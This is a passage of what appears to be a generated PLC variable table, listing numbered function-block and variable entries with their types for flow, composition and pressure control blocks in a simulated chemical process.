+54;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +66;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +67;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +71;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +72;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +86;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +87;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +97;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +98;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +108;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +109;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +120;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +121;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +136;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;SCALE_TO_SIGNED; +137;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;BOOL; +138;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;BOOL; +139;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;INT; +141;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;INT; +144;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +156;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +157;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +158;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +159;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +160;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +162;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +165;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +171;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +180;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +182;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +191;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; +193;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; +195;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;REAL; +196;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;REAL; +197;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;REAL; +198;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;UINT; +199;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;UINT; +200;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;REAL; 